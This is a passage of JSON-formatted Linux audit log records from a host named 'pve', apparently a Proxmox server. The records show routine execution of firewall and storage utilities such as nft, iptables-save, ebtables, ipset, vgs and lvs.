mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965284585,"@rawstring":"node=pve type=PATH msg=audit(1781965284.585:64940): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965284585,"@rawstring":"node=pve type=PATH msg=audit(1781965284.585:64940): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965282426,"@rawstring":"node=pve type=PATH msg=audit(1781965282.426:64939): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965282426,"@rawstring":"node=pve type=PATH msg=audit(1781965282.426:64939): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965282426,"@rawstring":"node=pve type=PATH msg=audit(1781965282.426:64938): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965282426,"@rawstring":"node=pve type=PATH msg=audit(1781965282.426:64937): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965282421,"@rawstring":"node=pve type=PATH msg=audit(1781965282.421:64936): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965282421,"@rawstring":"node=pve type=PATH msg=audit(1781965282.421:64936): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965282421,"@rawstring":"node=pve type=PATH msg=audit(1781965282.421:64935): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965282421,"@rawstring":"node=pve type=PATH msg=audit(1781965282.421:64934): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965277412,"@rawstring":"node=pve type=PATH msg=audit(1781965277.412:64933): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965277412,"@rawstring":"node=pve type=PATH msg=audit(1781965277.412:64933): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965277412,"@rawstring":"node=pve type=PATH msg=audit(1781965277.412:64932): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965277411,"@rawstring":"node=pve type=PATH msg=audit(1781965277.411:64931): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965277404,"@rawstring":"node=pve type=PATH msg=audit(1781965277.404:64930): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965277404,"@rawstring":"node=pve type=PATH msg=audit(1781965277.404:64930): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965277404,"@rawstring":"node=pve type=PATH msg=audit(1781965277.404:64929): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965277404,"@rawstring":"node=pve type=PATH msg=audit(1781965277.404:64928): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275300,"@rawstring":"node=pve type=PATH msg=audit(1781965275.300:64927): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275300,"@rawstring":"node=pve type=PATH msg=audit(1781965275.300:64927): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275296,"@rawstring":"node=pve type=PATH msg=audit(1781965275.296:64926): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275296,"@rawstring":"node=pve type=PATH msg=audit(1781965275.296:64926): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275294,"@rawstring":"node=pve type=PATH msg=audit(1781965275.294:64925): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275294,"@rawstring":"node=pve type=PATH msg=audit(1781965275.294:64925): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275294,"@rawstring":"node=pve type=PATH msg=audit(1781965275.294:64924): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275290,"@rawstring":"node=pve type=PATH msg=audit(1781965275.290:64923): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275290,"@rawstring":"node=pve type=PATH msg=audit(1781965275.290:64923): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275290,"@rawstring":"node=pve type=PATH msg=audit(1781965275.290:64923): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275284,"@rawstring":"node=pve type=PATH msg=audit(1781965275.284:64922): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275284,"@rawstring":"node=pve type=PATH msg=audit(1781965275.284:64922): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275274,"@rawstring":"node=pve type=PATH msg=audit(1781965275.274:64921): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275274,"@rawstring":"node=pve type=PATH msg=audit(1781965275.274:64921): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275266,"@rawstring":"node=pve type=PATH msg=audit(1781965275.266:64920): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275266,"@rawstring":"node=pve type=PATH msg=audit(1781965275.266:64920): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275258,"@rawstring":"node=pve type=PATH msg=audit(1781965275.258:64919): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275258,"@rawstring":"node=pve type=PATH msg=audit(1781965275.258:64919): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275252,"@rawstring":"node=pve type=PATH msg=audit(1781965275.252:64917): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275252,"@rawstring":"node=pve type=PATH msg=audit(1781965275.252:64917): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275246,"@rawstring":"node=pve type=PATH msg=audit(1781965275.246:64916): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275246,"@rawstring":"node=pve type=PATH msg=audit(1781965275.246:64916): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275239,"@rawstring":"node=pve type=PATH msg=audit(1781965275.239:64915): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275239,"@rawstring":"node=pve type=PATH msg=audit(1781965275.239:64915): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275234,"@rawstring":"node=pve type=PATH msg=audit(1781965275.234:64914): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275234,"@rawstring":"node=pve type=PATH msg=audit(1781965275.234:64914): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275226,"@rawstring":"node=pve type=PATH msg=audit(1781965275.226:64913): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275226,"@rawstring":"node=pve type=PATH msg=audit(1781965275.226:64913): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275220,"@rawstring":"node=pve type=PATH msg=audit(1781965275.220:64912): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275220,"@rawstring":"node=pve type=PATH msg=audit(1781965275.220:64912): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275212,"@rawstring":"node=pve type=PATH msg=audit(1781965275.212:64911): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275212,"@rawstring":"node=pve type=PATH msg=audit(1781965275.212:64911): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275203,"@rawstring":"node=pve type=PATH msg=audit(1781965275.203:64910): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275203,"@rawstring":"node=pve type=PATH msg=audit(1781965275.203:64910): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275199,"@rawstring":"node=pve type=PATH msg=audit(1781965275.199:64909): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275199,"@rawstring":"node=pve type=PATH msg=audit(1781965275.199:64909): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275191,"@rawstring":"node=pve type=PATH msg=audit(1781965275.191:64908): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275191,"@rawstring":"node=pve type=PATH msg=audit(1781965275.191:64908): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275189,"@rawstring":"node=pve type=PATH msg=audit(1781965275.189:64907): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275189,"@rawstring":"node=pve type=PATH msg=audit(1781965275.189:64907): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275189,"@rawstring":"node=pve type=PATH msg=audit(1781965275.189:64906): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275185,"@rawstring":"node=pve type=PATH msg=audit(1781965275.185:64905): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275185,"@rawstring":"node=pve type=PATH msg=audit(1781965275.185:64905): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275185,"@rawstring":"node=pve type=PATH msg=audit(1781965275.185:64905): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275177,"@rawstring":"node=pve type=PATH msg=audit(1781965275.177:64904): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275177,"@rawstring":"node=pve type=PATH msg=audit(1781965275.177:64904): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275170,"@rawstring":"node=pve type=PATH msg=audit(1781965275.170:64903): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275170,"@rawstring":"node=pve type=PATH msg=audit(1781965275.170:64903): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275165,"@rawstring":"node=pve type=PATH msg=audit(1781965275.165:64902): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275165,"@rawstring":"node=pve type=PATH msg=audit(1781965275.165:64902): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275154,"@rawstring":"node=pve type=PATH msg=audit(1781965275.154:64901): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275154,"@rawstring":"node=pve type=PATH msg=audit(1781965275.154:64901): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275144,"@rawstring":"node=pve type=PATH msg=audit(1781965275.144:64900): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275144,"@rawstring":"node=pve type=PATH msg=audit(1781965275.144:64900): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965274489,"@rawstring":"node=pve type=PATH msg=audit(1781965274.489:64899): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965274489,"@rawstring":"node=pve type=PATH msg=audit(1781965274.489:64899): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965274456,"@rawstring":"node=pve type=PATH msg=audit(1781965274.456:64898): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965274456,"@rawstring":"node=pve type=PATH msg=audit(1781965274.456:64898): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965272392,"@rawstring":"node=pve type=PATH msg=audit(1781965272.392:64897): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965272392,"@rawstring":"node=pve type=PATH msg=audit(1781965272.392:64897): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965272392,"@rawstring":"node=pve type=PATH msg=audit(1781965272.392:64896): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965272392,"@rawstring":"node=pve type=PATH msg=audit(1781965272.392:64895): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965272382,"@rawstring":"node=pve type=PATH msg=audit(1781965272.382:64894): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965272382,"@rawstring":"node=pve type=PATH msg=audit(1781965272.382:64894): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965272382,"@rawstring":"node=pve type=PATH msg=audit(1781965272.382:64893): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965272381,"@rawstring":"node=pve type=PATH msg=audit(1781965272.381:64892): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965267377,"@rawstring":"node=pve type=PATH msg=audit(1781965267.377:64891): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965267377,"@rawstring":"node=pve type=PATH msg=audit(1781965267.377:64891): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965267377,"@rawstring":"node=pve type=PATH msg=audit(1781965267.377:64890): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965267377,"@rawstring":"node=pve type=PATH msg=audit(1781965267.377:64889): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965267369,"@rawstring":"node=pve type=PATH msg=audit(1781965267.369:64888): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965267369,"@rawstring":"node=pve type=PATH msg=audit(1781965267.369:64888): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965267369,"@rawstring":"node=pve type=PATH msg=audit(1781965267.369:64887): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965267368,"@rawstring":"node=pve type=PATH msg=audit(1781965267.368:64886): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266129,"@rawstring":"node=pve type=PATH msg=audit(1781965266.129:64885): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266129,"@rawstring":"node=pve type=PATH msg=audit(1781965266.129:64885): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266126,"@rawstring":"node=pve type=PATH msg=audit(1781965266.126:64884): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266126,"@rawstring":"node=pve type=PATH msg=audit(1781965266.126:64884): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 